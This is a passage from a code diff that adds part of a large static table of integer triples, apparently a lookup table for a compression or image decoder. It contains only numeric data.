+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,10,64},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,8,14},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{0,0,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,13},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,9,15},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,10,18},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,10,17},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{11,12,2048},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,12,51},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,35},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,12,320},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,14},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{0,0,0},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,8,13},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,27},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,12,59},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,33},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{11,11,1920},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,12,256},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,43},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{10,13,1152},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,8,14},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{0,0,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,13},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,9,15},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,55},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,12,63},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{11,12,2304},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,47},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,12,39},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,53},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,14},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{0,0,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,8,13},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,11,19},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,11,24},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,11,22},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{11,12,2560},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,10,16},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,10,0},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{10,10,64},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,14},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{12,11,0},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,13},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,9,15},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,10,18},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,10,17},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{11,11,1792},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,11,23},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,11,20},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,11,25},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,8,14},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{0,0,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,13},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{10,12,128},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,56},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,30},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{11,11,1856},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,12,57},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,11,21},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,54},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,14},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{0,0,0},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,8,13},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,9,15},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,12,52},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,48},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{11,12,2112},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,44},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,36},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{10,12,384},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,8,14},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{0,0,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,13},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,12,28},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,60},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,12,40},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{11,12,2368},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,10,16},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,10,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,10,64},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
